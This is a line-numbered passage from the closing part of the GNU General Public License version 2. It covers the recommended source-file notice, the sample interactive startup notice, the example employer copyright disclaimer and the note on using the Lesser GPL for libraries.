and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------